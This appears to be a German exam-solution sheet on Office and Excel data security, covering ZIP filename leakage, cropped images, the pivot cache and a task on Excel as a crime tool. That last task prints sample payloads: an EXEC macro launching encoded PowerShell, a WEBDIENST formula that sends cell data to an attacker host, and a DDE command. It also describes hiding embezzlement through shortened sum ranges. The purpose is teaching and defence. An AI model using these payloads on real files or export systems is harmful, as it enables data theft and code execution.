Rohleders Erwartung: Er hat den Angriff live vorgeführt und daran zwei Sätze gehängt, die als Merksätze gedacht sind: „keinen Schusspulver wert" und „nichts Niederträchtigeres als einen Schutz, der nicht schützt". Wer nur schreibt, der Blattschutz sei unsicher, hat den Punkt nicht; verlangt ist der Nachweis, warum ein starkes Hashverfahren an einer Stelle sitzt, an der es nichts nützt.

Aufgabe #115 · 8 P. · Verschlüsselter Versand einer Arbeitsmappe: ZipCrypto, Dateinamen und digitale SouveränitätEine Personalabteilung soll mehrere Arbeitsmappen an eine externe Kanzlei übermitteln. Ein Mitarbeiter packt sie in ein Archiv, vergibt ein Kennwort und belässt das Verschlüsselungsverfahren auf der Voreinstellung ZipCrypto. Eine der enthaltenen Dateien heißt „Liste der Kündigungen April 2026.xlsx".
a) (2 P.) Erläutern Sie, welche Information trotz des vergebenen Kennworts für jeden offenliegt, der das Archiv in die Hände bekommt, und warum das hier ein Schaden ist.
b) (4 P.) Erläutern Sie zwei Einstellungen, die beim Packen zu wählen gewesen wären, und jeweils deren Wirkung.
c) (2 P.) Erläutern Sie, warum auch nach korrekter Einstellung ein Restrisiko verbleibt.

a) 2 P. – Was offenliegt

Der ZIP-Standard sieht die Verschlüsselung der einzelnen Dateien im Archiv vor, nicht aber die des Inhaltsverzeichnisses, weshalb die Dateinamen samt Ordnerstruktur unverschlüsselt im Archiv stehen und ohne Kennwort gelesen werden können. ⟨1⟩ Im geschilderten Fall verrät bereits der Dateiname, dass im April 2026 Kündigungen ausgesprochen wurden und wie viele Vorgänge das Paket umfasst; der schutzwürdige Sachverhalt ist damit offenbart, obwohl kein einziger Datensatz gelesen wurde. ⟨2⟩

b) 4 P. – Zwei Einstellungen und ihre Wirkung

  1. Verschlüsselungsverfahren auf AES-256 umstellen. ZipCrypto stammt aus der Frühzeit des Formats und ist nach heutigem Maßstab nur eine sehr leichtgewichtige Verschlüsselung, die einem gezielten Angriff nicht standhält. ⟨1⟩ AES-256 gilt dagegen als nicht gebrochen und ist für den hier verlangten Schutzzweck ausreichend; der Preis ist die eingeschränkte Kompatibilität, weil der Empfänger ein Programm benötigt, das dieses Verfahren beherrscht. ⟨2⟩

  2. Option zur Verschlüsselung der Dateinamen aktivieren. Erst dieser zusätzliche Haken zieht auch das Inhaltsverzeichnis in die Verschlüsselung ein, sodass ein Dritter weder Namen noch Anzahl noch Struktur der enthaltenen Dateien erkennt. ⟨3⟩ Die Option ist ausdrücklich zu setzen und ist keine Folge des Kennworts, weshalb sie in der Praxis regelmäßig vergessen wird und genau der Schaden aus Teilaufgabe a) entsteht. ⟨4⟩

c) 2 P. – Verbleibendes Restrisiko

Der Transportweg selbst bleibt unkontrolliert, denn eine E-Mail passiert mehrere Stationen, Postfächer werden im Rahmen von Vertretungsregelungen freigegeben, und hinter Funktionsadressen steht ein Personenkreis, den der Absender in aller Regel nicht kennt. ⟨1⟩ Hinzu kommt die Vertrauensfrage gegenüber der eingesetzten Software und dem Betriebssystem, die Rohleder mit zwei Pressemeldungen belegt, nach denen ein Mailprogramm den Klartext an verschlüsselte Nachrichten anhängte und der Hersteller in kennwortgeschützte Archive hineinsehen kann; ohne quelloffene Werkzeuge lässt sich das nicht überprüfen. ⟨2⟩

Über die geforderten Punkte hinaus

Metadaten sind kein Nebenschauplatz. Nicht nur Dateinamen, auch Zeitstempel, Dateigrößen und die Anzahl der Elemente eines Archivs erlauben Rückschlüsse auf den Inhalt, und diese Angaben stehen im Verzeichnis. ⟨+1⟩ Wer nur den Inhalt schützt, aber die Hülle sprechen lässt, hat einen wesentlichen Teil des Schutzbedarfs übersehen. ⟨+2⟩

Sprechende Dateinamen sind sonst eine Tugend. Für Auffindbarkeit und Ordnung sind aussagekräftige Namen richtig, und Rohleder empfiehlt sie an anderer Stelle ausdrücklich, etwa für Tabellennamen mit Präfix. ⟨+3⟩ Der Zielkonflikt ist damit real und in der Klausur gut vorzeigbar: Beim Versand ist ein neutraler Name die bessere Wahl, in der internen Ablage der sprechende. ⟨+4⟩

Der bessere Weg ist gar kein Versand. Ein Bereitstellen über eine Ablage mit Zugriffsrechten vermeidet den unkontrollierten Anhang vollständig und protokolliert, wer wann zugegriffen hat. ⟨+5⟩ Diese Lösung verlagert das Problem allerdings auf die Rechtevergabe, die dann tatsächlich gepflegt werden muss und nicht auf einer Verteilerliste aus dem Vorjahr beruhen darf. ⟨+6⟩

Souveränität ist eine Entscheidung, keine Eigenschaft. Rohleder stellt fest, dass deutsche Anbieter für solche Werkzeuge kaum mehr existieren und nennt quelloffene Lösungen als Ausweichmöglichkeit. ⟨+7⟩ Er formuliert das ausdrücklich als „Frage Ihrer Unternehmenskultur, wem Sie da Ihr Vertrauen schenken", also als Governance-Entscheidung und nicht als technische Feststellung. ⟨+8⟩

Rohleders Erwartung: Der Merksatz der Einheit ist nicht „ZIP ist unsicher", sondern die konkrete Lücke: Die Dateien sind verschlüsselt, das Verzeichnis nicht. Wer in der Antwort seinen Beispielnamen aufgreift und daran zeigt, dass Metadaten allein schon den Schaden erzeugen, trifft genau die Stelle, an der er im Unterricht innegehalten hat.

Aufgabe #116 · 8 P. · Zugeschnittener Screenshot in einer Präsentation: verdeckte statt gelöschte BildinhalteFür eine Aufsichtsratspräsentation wird ein Ausschnitt aus einer Excel-Arbeitsmappe kopiert und in PowerPoint eingefügt. Weil die Folie auch Deckungsbeiträge einzelner Kunden enthält, schneidet der Ersteller diesen Bereich mit der Zuschneiden-Funktion weg, speichert die Datei und versendet sie.
a) (2 P.) Erläutern Sie, warum das Zuschneiden den vertraulichen Bereich nicht entfernt.
b) (4 P.) Erläutern Sie zwei Einstellungen in den Office-Optionen, die vor Beginn der Bearbeitung zu setzen sind, und jeweils deren Wirkung.
c) (2 P.) Erläutern Sie den Unterschied zwischen einer Bitmap- und einer Vektorgrafik beim Kopieren aus Excel und woran sich nach dem Einfügen erkennen lässt, welche Variante vorliegt.

a) 2 P. – Warum der Ausschnitt erhalten bleibt

Das Zuschneiden ist im Standard eine reine Anzeigeeinstellung: Office speichert das vollständige Ursprungsbild weiter in der Datei und merkt sich zusätzlich, welcher Ausschnitt davon dargestellt werden soll. ⟨1⟩ Jeder Empfänger kann das Bild markieren, die Zuschneiden-Funktion erneut aufrufen und die Ränder wieder aufziehen, wodurch die zuvor verdeckten Zahlen unverändert sichtbar werden; es handelt sich also um eine optische Verdeckung und nicht um eine Löschung. ⟨2⟩

b) 4 P. – Zwei Einstellungen vor Beginn der Bearbeitung

  1. Bearbeitungsdaten verwerfen. Diese Option unter „Datei – Optionen – Erweitert" bewirkt, dass beim Speichern die nicht mehr dargestellten Bildanteile tatsächlich entfernt werden, sodass die abgeschnittenen Bereiche nicht wiederherstellbar sind. ⟨1⟩ Sie wirkt erst ab dem nächsten Speichervorgang, weshalb sie vor der Bearbeitung und nicht erst kurz vor dem Versand zu setzen ist; der Dialog ist in Word, Excel und PowerPoint identisch aufgebaut. ⟨2⟩

  2. Bilder in Datei nicht komprimieren. Office wendet auf eingebettete Bilder einen sehr aggressiven Kompressionsalgorithmus an, der aus Fotos und Bildschirmabzügen sichtbaren Bildbrei macht. ⟨3⟩ Der Haken muss vor dem ersten Speichern gesetzt werden, weil die Qualität mit dem ersten Speichervorgang unwiederbringlich verloren ist und sich der Schaden häufig erst am gedruckten Exemplar zeigt. ⟨4⟩

c) 2 P. – Bitmap gegen Vektor

Eine Bitmap speichert einzelne Bildpunkte und wird beim Vergrößern unscharf, während eine Vektorgrafik nur die mathematische Beschreibung der dargestellten Objekte enthält und sich deshalb ohne Qualitätsverlust skalieren lässt; Excel legt heute in den meisten Fällen bereits eine Vektorgrafik in die Zwischenablage, erzwingen lässt sich das über den Dialog „Als Bild kopieren" mit der Auswahl Vektor. ⟨1⟩ Erkennen lässt sich das Ergebnis am Hintergrund: Verschiebt man das eingefügte Bild über ein farbiges Element und bleibt dieses sichtbar, liegt eine transparente Vektorgrafik vor, während ein deckendes Weiß auf eine Bitmap hinweist. ⟨2⟩

Über die geforderten Punkte hinaus

Warum der Weg über die Quelle besser ist als nachträgliches Freistellen. Excel kann den Ausschnitt selbst als Vektorgrafik übergeben, weil es die dargestellten Objekte kennt und ihre Beschreibung weiterreichen kann. ⟨+1⟩ Der Versuch, denselben Effekt später aus einer Bitmap herauszurechnen, läuft auf eine Farbersetzung von Weiß nach Transparent hinaus und scheitert regelmäßig, sobald Farbverläufe oder weiche Kanten im Bild sind. ⟨+2⟩

Der Fehler ist kein Excel-Fehler, sondern ein Office-Fehler. Dieselbe Mechanik gilt für Word und PowerPoint, was den Vorfall in die Kategorie der organisationsweiten Standardeinstellungen hebt. ⟨+3⟩ Eine sinnvolle Maßnahme ist deshalb, beide Optionen zentral in der Standardvorlage zu setzen, statt sie jedem Anwender einzeln zu erklären. ⟨+4⟩

Es gibt einen noch sichereren Weg. Wer sicher sein will, exportiert die freigegebene Fassung als PDF oder erzeugt die Grafik von vornherein nur aus dem Bereich, der gezeigt werden darf. ⟨+5⟩ Der Grundsatz dahinter ist derselbe wie bei den Dateinamen im ZIP-Archiv: Nichts in die Datei geben, was nicht hinein soll, statt es nachträglich verstecken zu wollen. ⟨+6⟩

Verwandter Fall im selben Themenkreis. Rohleder kündigt an, dieselbe Problematik später am Kopieren von Pivot-Analysen zu zeigen, wo mit der sichtbaren Auswertung der komplette zugrunde liegende Datenbestand mitwandert. ⟨+7⟩ Wer diesen Zusammenhang in der Antwort herstellt, zeigt, dass er das Muster erkannt hat: Die sichtbare Darstellung ist nur ein Fenster auf eine mitgelieferte, vollständige Datenmenge. ⟨+8⟩

Rohleders Erwartung: Er hat den Zuschnitt live rückgängig gemacht und dazu gesagt: „Und das könnten jetzt Zahlen sein, die Sie eigentlich nicht hätten übermitteln wollen." Die Antwort muss deshalb die Unterscheidung zwischen Anzeigeeinstellung und tatsächlicher Löschung tragen; die beiden Optionsnamen sind die leichten Punkte, das Verständnis der Mechanik ist der eigentliche Prüfgegenstand.

Aufgabe #117 · 10 P. · Weitergabe von Pivot-Ergebnissen und der Pivot-CacheSie sollen einem externen Berater die nach Produktgruppen und Regionen verdichteten Umsatzzahlen zur Verfügung stellen. Die Einzeldatensätze mit Kundennamen, Konditionen und Deckungsbeiträgen darf er nicht sehen. Eine Kollegin schlägt vor, aus der Arbeitsmappe einfach das Blatt mit der Pivot-Tabelle in eine neue Datei zu kopieren und diese zu versenden.
a) (4 P.) Erläutern Sie, warum dieser Vorschlag das Vertraulichkeitsziel verfehlt.
b) (3 P.) Erläutern Sie drei verschiedene Wege, die Aggregate technisch sauber weiterzugeben, und bewerten Sie sie.
c) (3 P.) Erläutern Sie, welche weiteren Auswirkungen der Pivot-Cache auf eine Arbeitsmappe hat und wie Sie damit umgehen.

a) 4 P. – Warum der Vorschlag das Ziel verfehlt

Eine Pivot-Tabelle rechnet nicht auf der sichtbaren Quelltabelle, sondern auf einer eigenen Kopie aller verdichteten Daten, dem Pivot-Cache. Dieser Cache reist mit der Pivot-Tabelle mit, auch wenn das Quellblatt in der versendeten Datei gar nicht enthalten ist. ⟨1⟩

Der Empfänger kommt an diese Daten ohne jedes Spezialwissen heran: Ein Doppelklick auf eine Ergebniszelle erzeugt über die Funktion „Details anzeigen" ein neues Blatt mit genau den Einzeldatensätzen, die hinter diesem Wert stehen. ⟨2⟩

Damit sind Kundennamen, Konditionen und Deckungsbeiträge vollständig rekonstruierbar, obwohl auf dem Bildschirm nur Summen zu sehen waren. Aus Sicht des Datenschutzes und des Geschäftsgeheimnisses liegt eine Weitergabe der Rohdaten vor, nicht der Aggregate. ⟨3⟩

Verschärfend kommt hinzu, dass an der Pivot-Tabelle Filter aktiv sein können, die man ihr nicht ansieht, und dass der Quelldatenbereich in der Konfiguration steht und nicht im Blatt; wer die Datei versendet, weiß also nicht sicher, welchen Ausschnitt er tatsächlich weitergibt. ⟨4⟩

b) 3 P. – Drei Wege der sauberen Weitergabe

Weg 1: Werte einfügen in eine neue Mappe. Die Ergebnismatrix wird kopiert und über Inhalte einfügen → Werte in eine leere Arbeitsmappe übernommen, gegebenenfalls zusätzlich mit Formaten. Danach existiert kein Cache und keine Verbindung mehr, sondern nur noch die Zahlen. Das ist der einfachste und sicherste Weg und die Empfehlung. ⟨1⟩

Weg 2: Ausgabe in einem nicht rechnenden Format. Ein PDF oder ein Ausdruck transportiert die Aggregate, ohne dass irgendetwas mitreist. Der Nachteil ist, dass der Empfänger nicht weiterrechnen kann, was je nach Auftrag erwünscht oder hinderlich ist. ⟨2⟩

Weg 3: Neu aufbauen auf einer bereits aggregierten Quelle. Die Verdichtung erfolgt vorab mit GRUPPIERENNACH(), PIVOTMIT() oder SUMMEWENNS() auf einer Tabelle, die nur die freigegebenen Merkmale enthält; die versendete Mappe kennt die Einzeldatensätze dann gar nicht. Das ist der methodisch sauberste Weg, kostet aber Modellierungsaufwand. ⟨3⟩

c) 3 P. – Weitere Auswirkungen des Cache und Umgang damit

Auswirkung 1: Dateigröße. Besteht die Mappe im Wesentlichen aus einer großen Tabelle, verdoppelt bereits die erste Pivot-Tabelle die Datenmenge, weil der Cache angelegt wird. Bei mehreren Pivot-Analysen auf derselben Quelle ist darauf zu achten, dass sie sich denselben Cache teilen, statt jeweils einen eigenen zu erzeugen. ⟨1⟩

Auswirkung 2: Aktualitätsrisiko. Der Cache ist eine Momentaufnahme. Ändern sich die Quelldaten, zeigt die Pivot-Tabelle weiterhin den alten Stand, bis manuell aktualisiert wird; Rohleder demonstriert das mit seinem Rasierschaum, der erst nach dem Klick auf Aktualisieren erscheint und nach dem Löschen erst danach wieder verschwindet. ⟨2⟩

Umgang: In den Pivot-Table-Optionen wird auf dem Register Daten die Option „Quelldaten mit Datei speichern" abgeschaltet, wenn der Cache nicht mitgehen soll, und „Aktualisieren beim Öffnen der Datei" aktiviert, damit die Zahlen beim Öffnen wenigstens einmal auf den aktuellen Stand kommen. Vor jedem Versand gilt die Regel, die Weitergabedatei zu öffnen und den Doppelklicktest auf eine Ergebniszelle selbst zu machen. ⟨3⟩

Über die geforderten Punkte hinaus

Die Option „Quelldaten mit Datei speichern" hat eine Kehrseite: Ist sie abgeschaltet und die Quelle nicht erreichbar, lässt sich die Pivot-Tabelle nicht mehr aktualisieren und auch nicht mehr umkonfigurieren. ⟨+1⟩ Für eine Versanddatei ist das gerade erwünscht, für die Arbeitsdatei nicht. ⟨+2⟩

Auch Datenschnitte und Zeitachsen können Vertraulichkeitsinformationen preisgeben, weil ihre Schaltflächen sämtliche vorkommenden Ausprägungen eines Feldes auflisten, also etwa alle Kundennamen, selbst wenn nur eine Region gefiltert angezeigt wird. ⟨+3⟩

Dasselbe Problem hat PIVOTDATENZUORDNEN(): Die Formel schreibt die Kriterienwerte als harte Textkonstanten in die Formelzeile, sodass Feldausprägungen auch dort sichtbar bleiben. ⟨+4⟩

Bei einer über Power Query verknüpften Mappe reist zusätzlich die Abfragedefinition mit, inklusive Serveradressen, Pfaden und gegebenenfalls Anmeldeinformationen; diese Definition lässt sich exportieren und auf anderen Rechnern verwenden. ⟨+5⟩

Aus dem Doppelklick lässt sich auch etwas Positives ziehen: In der eigenen Analyse ist „Details anzeigen" das schnellste Werkzeug, um einem auffälligen Aggregat auf den Grund zu gehen, ohne die Quelltabelle von Hand zu filtern. ⟨+6⟩

Zur Vorbereitung einer sauberen Aggregatlieferung eignet sich der Top-Zehn-Filter der Dropdowns, mit dem sich die obersten oder untersten drei Prozent anzeigen lassen; damit prüft man vorab, ob in den freigegebenen Zahlen Ausreißer stecken, die Rückschlüsse auf Einzelkunden zulassen. ⟨+7⟩

Rein rechtlich ist die Frage nicht mit Excel-Technik erledigt: Ob überhaupt aggregiert weitergegeben werden darf, hängt von Vertrag, Zweckbindung und gegebenenfalls einer Auftragsverarbeitung ab, und Aggregate können bei kleinen Fallzahlen faktisch personenbeziehbar bleiben. ⟨+8⟩

Der praktische Prüfsatz für die Klausur lautet: Weitergegeben wird, was in der Datei steht, nicht, was auf dem Bildschirm zu sehen ist. ⟨+9⟩

Wer ganz sicher gehen will, erzeugt die Versanddatei aus einer leeren Mappe heraus und kopiert ausschließlich Werte hinein, statt eine Kopie der Arbeitsdatei zu bereinigen; Bereinigen übersieht regelmäßig ausgeblendete Blätter, benannte Bereiche und alte Verbindungen. ⟨+10⟩

Rohleders Erwartung: Er leitet die Passage in U10 ausdrücklich mit „Ich weiß nicht, ob ich das schon hinreichend deutlich gemacht habe" ein, was bei ihm heißt, dass er dem Punkt Gewicht gibt. Er will den Mechanismus hören, also Cache plus Doppelklick, nicht bloß den Merksatz „Pivot ist unsicher", und er will eine Handlungsempfehlung, die man einer Kollegin am Telefon sagen könnte.

4. Tatwaffe Excel (9 P.)

✅ von 2 Profs geprüft

Aufgabe #118 · 9 P. · 🎯 Tatwaffe Excel · 9 Punkte · Original-AltmeisterklausurExcel spielt häufig eine unrühmliche Rolle, wenn es um Verbrechen geht - einerseits wegen des Marktanteils von mindestens 85 %, andererseits wegen der teilweise problematischen Sicherheitsarchitektur (frei ausführbare Makros, automatisch berechnete Formeln). Erläutern Sie drei verschiedene, gebräuchliche Szenarien von Verbrechen unter Zuhilfenahme von Excel möglichst präzise. Benennen Sie je Szenario Täter, Vorgehen und die konkret missbrauchte Excel-Technik. (9 Punkte, je Szenario 3)
⚡ Kurzform — zum Selbst-Formulieren
  • EINSTIEG (1 Satz): 85 %+ Marktanteil + offene Sicherheitsarchitektur (Makros, Auto-Formeln) => Excel wird zur 'Tatwaffe'. Genau 3 saubere, VERSCHIEDENE Szenarien liefern.
  • Schema je Szenario IMMER gleich halten: (a) Täter/Rolle -> (b) Vorgehen Schritt für Schritt -> (c) konkret missbrauchte Excel-Technik + Schaden.
  • SZENARIO 1 = Innentäter-Finanzmanipulation: Buchhalter fälscht Zahlen. Technik: Summenbereich verkürzen (B2:B19 -> B2:B18), Zeilen/Spalten ausblenden, Zellen mit Zahlenformat ;;; unsichtbar machen. Schaden: Unterschlagung/Bilanzfälschung.
  • SZENARIO 2 = Malware über Makros: Externer Angreifer schickt .xlsm/.xls per Phishing-Mail. Technik: VBA-Auto-Makro (Workbook_Open) oder alte Excel-4.0-Makrofunktion =EXEC(...). Opfer klickt 'Inhalt aktivieren' => Schadcode (z.B. Agent Tesla) lädt nach.
  • SZENARIO 3 = Formel-/CSV-Injection + Datenabfluss: Angreifer schleust in ein Eingabefeld/Export eine Zelle ein, die mit = + - @ beginnt. Technik: =WEBDIENST()/=HYPERLINK()/DDE führt beim Öffnen automatisch aus und exfiltriert Daten. Schaden: Datendiebstahl/Command-Ausführung.
  • QUBA-PFLICHT: jede genannte Formel Bestandteil für Bestandteil zerlegen (= / Funktionsname / ( ) / : / & / Zellbezug / " ").
  • ABSCHLUSS: 1 Satz Gemeinsamkeit - Excel führt Inhalte automatisch aus und wird blind vertraut; Schutz = Makros deaktivieren, Vier-Augen-Prinzip, Eingaben beim Export entschärfen.
💡 Für Fachfremde — Begriffe & Formeln in Alltagssprache
  • 'Tatwaffe Excel': Excel ist eigentlich ein Tabellenprogramm - aber Kriminelle benutzen es wie ein Werkzeug für Straftaten, weil fast jeder es hat und ihm blind vertraut.
  • Marktanteil 85 %: Von 100 Leuten haben mindestens 85 Excel auf dem Rechner. Wer eine Excel-Datei schickt, trifft also fast immer auf jemanden, der sie öffnen kann.
  • Formel: Eine Rechenanweisung in einer Zelle. Alles, was mit dem Gleichheitszeichen = beginnt, versteht Excel als 'rechne das aus', nicht als normalen Text.
  • = (Gleichheitszeichen): Der Startknopf jeder Formel. Genau dieses Zeichen macht aus harmlosem Text eine ausgeführte Rechnung oder einen Befehl - deshalb ist es bei Angriffen so gefährlich.
  • SUMME(...): Eine fertige Excel-Funktion, die alle Zahlen in einem Bereich zusammenzählt. Wie ein Taschenrechner, dem man sagt 'addier mir alles hier drin'.
  • B2:B19 und der Doppelpunkt : Bedeutet 'von Zelle B2 bis Zelle B19'. Der Doppelpunkt heisst schlicht 'bis'. Verschiebt der Täter die 19 auf 18, fällt die letzte Zahl heimlich aus der Summe.
  • Zahlenformat ;;; (drei Semikola): Ein Trick, mit dem man einer Zelle sagt 'zeig gar nichts an'. Der Wert ist noch da und zählt mit, man sieht ihn nur nicht - ideal zum Verstecken.
  • Makro: Ein kleines Programm, das in einer Excel-Datei mitgeschickt werden kann. Es kann echte Aktionen am Computer ausführen - auch schädliche.
  • 'Inhalt aktivieren': Der Warnbalken, den Excel zeigt. Klickt das Opfer darauf, erlaubt es dem versteckten Programm loszulaufen. Genau darauf zielen die Angreifer.
  • Agent Tesla: Der Name einer bekannten Schadsoftware, die Passwörter und Daten stiehlt - häufig über präparierte Excel-Dateien verbreitet.
  • EXEC("..."): Ein alter Excel-Befehl, der ein anderes Programm auf dem Computer startet. In den Anführungszeichen steht, welches - Angreifer schreiben dort Schadbefehle hinein.
  • Formel-/CSV-Injection: Der Angreifer schreibt in ein normales Textfeld (z.B. Namensfeld) heimlich eine Formel. Später, wenn die Daten in Excel landen, führt Excel diese Formel aus - obwohl es eigentlich nur ein Name sein sollte.
  • WEBDIENST(...) (engl. WEBSERVICE): Eine Funktion, die eine Internet-Adresse aufruft. Missbraucht wird sie, um heimlich Daten an die Adresse des Angreifers zu schicken.
  • & (kaufmännisches Und): Klebt zwei Textstücke aneinander. Hier hängt es den geheimen Zellinhalt hinten an die Internet-Adresse - so verlässt die Information unbemerkt das Haus.
  • DDE: Eine alte Excel-Technik, mit der eine Zelle ein anderes Programm starten kann. Für Angreifer ein Weg, Befehle auszuführen, ohne ein Makro zu benötigen.
  • Apostroph ' als Schutz: Setzt man vor eine verdächtige Eingabe ein ', behandelt Excel sie garantiert als harmlosen Text und rechnet/startet nichts - die einfachste Abwehr gegen Formel-Injection.

📝 Lösung

Vorbemerkung (Einordnung)

Excel ist deshalb eine so beliebte "Tatwaffe", weil zwei Dinge zusammentreffen: der Marktanteil von mindestens 85 % (fast jedes Opfer hat Excel installiert und öffnet .xlsx-Dateien ohne Misstrauen) und die offene Sicherheitsarchitektur (Excel führt Formeln automatisch aus und kann eingebetteten Programmcode starten). Nachfolgend drei verschiedene, in der Praxis gebräuchliche Szenarien.


Szenario 1 - Manipulation von Finanzdaten durch einen Innentäter

Täter: Ein Mitarbeiter mit legitimem Zugriff (Buchhaltung, Controlling, Finanzwesen).

Vorgehen: Der Täter verändert nicht die Software, sondern die Datei selbst. Er fälscht Ergebnisse so, dass Unterschlagungen oder eine geschönte Finanzlage nicht auffallen - etwa indem er eine belastende Buchung aus der Summe "herausrechnet" oder ganze Positionen optisch verschwinden lässt.

Konkret missbrauchte Excel-Technik + Schaden:

Klassiker ist das heimliche Verkürzen eines Summenbereichs. Aus einer korrekten Summe

=SUMME(B2:B19)

wird

=SUMME(B2:B18)

Bestandteil für Bestandteil:

  • = (Gleichheitszeichen) - leitet jede Excel-Formel ein; es sagt Excel "berechne dies, zeige nicht den Text an".
  • SUMME (Funktionsname) - die Funktion, die alle Werte im angegebenen Bereich addiert.
  • ( und ) (runde Klammern) - umschliessen das Argument der Funktion; alles dazwischen ist die Eingabe.
  • B2:B19 bzw. B2:B18 (Bereichsargument) - B ist die Spalte, 2/18/19 sind Zeilennummern.
  • : (Doppelpunkt) - der Bereichsoperator, gelesen "von ... bis". B2:B19 heisst "Zelle B2 bis Zelle B19".

Wirkung: Durch die Änderung von B19 auf B18 fällt die letzte (belastende) Buchung aus der Summe - die Bilanz wirkt weiter stimmig, das Geld ist umgeleitet.

Ergänzend nutzen Täter das benutzerdefinierte Zahlenformat mit drei Semikola ;;;. Ein Excel-Zahlenformat hat vier durch ; (Semikolon) getrennte Abschnitte: positiv;negativ;null;text. Bleiben alle vier leer (;;;), wird der Zelleninhalt unsichtbar, obwohl der Wert rechnerisch weiter mitzählt. So bleiben manipulierte Zwischenwerte für den Prüfer verborgen (alternativ: Zeilen/Spalten ausblenden). Schaden: Unterschlagung, Bilanzfälschung, Untreue.


Szenario 2 - Verbreitung von Malware über Makros

Täter: Ein externer Angreifer (Cyberkrimineller).

Vorgehen: Der Angreifer versieht eine Excel-Datei mit bösartigem Makro-Code und sendet sie per E-Mail als scheinbar legitimes Dokument ("Rechnung", "Lieferschein"). Aktiviert das Opfer nach dem Öffnen die Makros (Klick auf "Inhalt aktivieren"), startet der Schadcode und lädt Schadsoftware nach - z. B. den Info-Stealer Agent Tesla.

Konkret missbrauchte Excel-Technik + Schaden:

Missbraucht wird die Fähigkeit von Excel, beim Öffnen automatisch Programmcode auszuführen. Zwei Ausprägungen:

  1. VBA-Makro mit Auto-Start. Eine Prozedur im Ereignis Workbook_Open() läuft ohne weiteres Zutun, sobald die Mappe geoeffnet und Makros erlaubt sind - der ideale Ansatzpunkt für den Angreifer.

  2. Alte Excel-4.0-Makrofunktion (XLM), die direkt in einer Zelle steht, z. B.

=EXEC("cmd.exe /c powershell -enc ...")

Bestandteil für Bestandteil:

  • = (Gleichheitszeichen) - Formelstart, hier in einem Excel-4.0-Makroblatt: der Ausdruck wird als Befehl ausgeführt.
  • EXEC (Funktionsname) - eine alte Makro-Funktion, die ein externes Programm startet.
  • ( ) (runde Klammern) - umschliessen das Argument.
  • "cmd.exe /c powershell -enc ..." (Text-Argument) - die Anführungszeichen " " markieren den Inhalt als Text; darin steht das zu startende Programm samt Befehl.

Schaden: Nachladen von Ransomware/Info-Stealern, Diebstahl von Zugangsdaten, Fernsteuerung des Rechners. Deshalb blockiert Microsoft Makros aus dem Internet inzwischen standardmässig - der Angreifer setzt daher auf Social Engineering, damit das Opfer die Blockade selbst aufhebt.


Szenario 3 - Formel-/CSV-Injection und Datenabfluss

Täter: Ein Angreifer, der Daten in ein System einschleusen kann, das später als Excel-/CSV-Datei geoeffnet wird (z. B. über ein Web-Formular, das exportiert wird).

Vorgehen: Der Angreifer trägt in ein harmloses Textfeld einen Wert ein, der mit einem Formel-Startzeichen beginnt: =, +, - oder @. Beim späteren Export und Öffnen interpretiert Excel diese Zelle nicht als Text, sondern als Formel und führt sie aus - obwohl niemand bewusst eine Formel geschrieben hat.

Konkret missbrauchte Excel-Technik + Schaden:

Beispiel für heimlichen Datenabfluss:

=WEBDIENST("http://angreifer.tld/?x="&A2)

Bestandteil für Bestandteil:

  • = (Gleichheitszeichen) - Formelstart; genau dieses Zeichen löst die automatische Ausführung aus (ebenso +, -, @).
  • WEBDIENST (Funktionsname, engl. WEBSERVICE) - ruft eine Internet-Adresse (URL) auf und gibt deren Antwort zurück.
  • ( ) (runde Klammern) - umschliessen das Argument.
  • "http://angreifer.tld/?x=" (Text-URL) - die Anführungszeichen " " markieren die Adresse als Text; sie zeigt auf den Server des Angreifers.
  • & (kaufmännisches Und) - der Verkettungsoperator; er "klebt" Text zusammen.
  • A2 (Zellbezug) - A ist die Spalte, 2 die Zeile; der Inhalt der Zelle A2 wird an die URL angehängt.

Wirkung: Excel ruft die Adresse http://angreifer.tld/?x=<Inhalt von A2> auf und sendet damit den Zellinhalt an den Angreifer - Datendiebstahl ohne Makro, allein über eine Zellformel. Verwandte Varianten sind =HYPERLINK(...) (präparierter Link) und DDE-Befehle wie =cmd|'/c calc.exe'!A1, die ein externes Programm starten. Schaden: Exfiltration vertraulicher Daten, im DDE-Fall Ausführung beliebiger Befehle. Schutz: Eingaben beim Export "entschärfen" (führendes =,+,-,@ z. B. mit einem vorangestellten Apostroph ' als Text markieren).


Abschluss (Gemeinsamkeit)

Alle drei Fälle nutzen dieselbe Grundschwäche: Excel führt Inhalte (Formeln, Makros) automatisch aus, und Anwender vertrauen Excel-Dateien blind. Gegenmassnahmen: Makros standardmässig deaktivieren, Vier-Augen-Prinzip und Zellschutz/Änderungsprotokoll bei Finanzdateien, Eingaben vor dem Export gegen Formel-Injection absichern.

⟨+1⟩ Die Prüf-Reserve gegen Szenario 1: Unsichtbares wird sichtbar, wenn man nicht dem Bildschirm, sondern der Struktur traut — Formeln einblenden (STRG+#), die Raute-Suche über den Suchbereich Arbeitsmappe für Fehlerwerte und der Blick auf Zahlenformate wie ;;; decken verkürzte Summen und versteckte Zellen auf.


Pivottabellen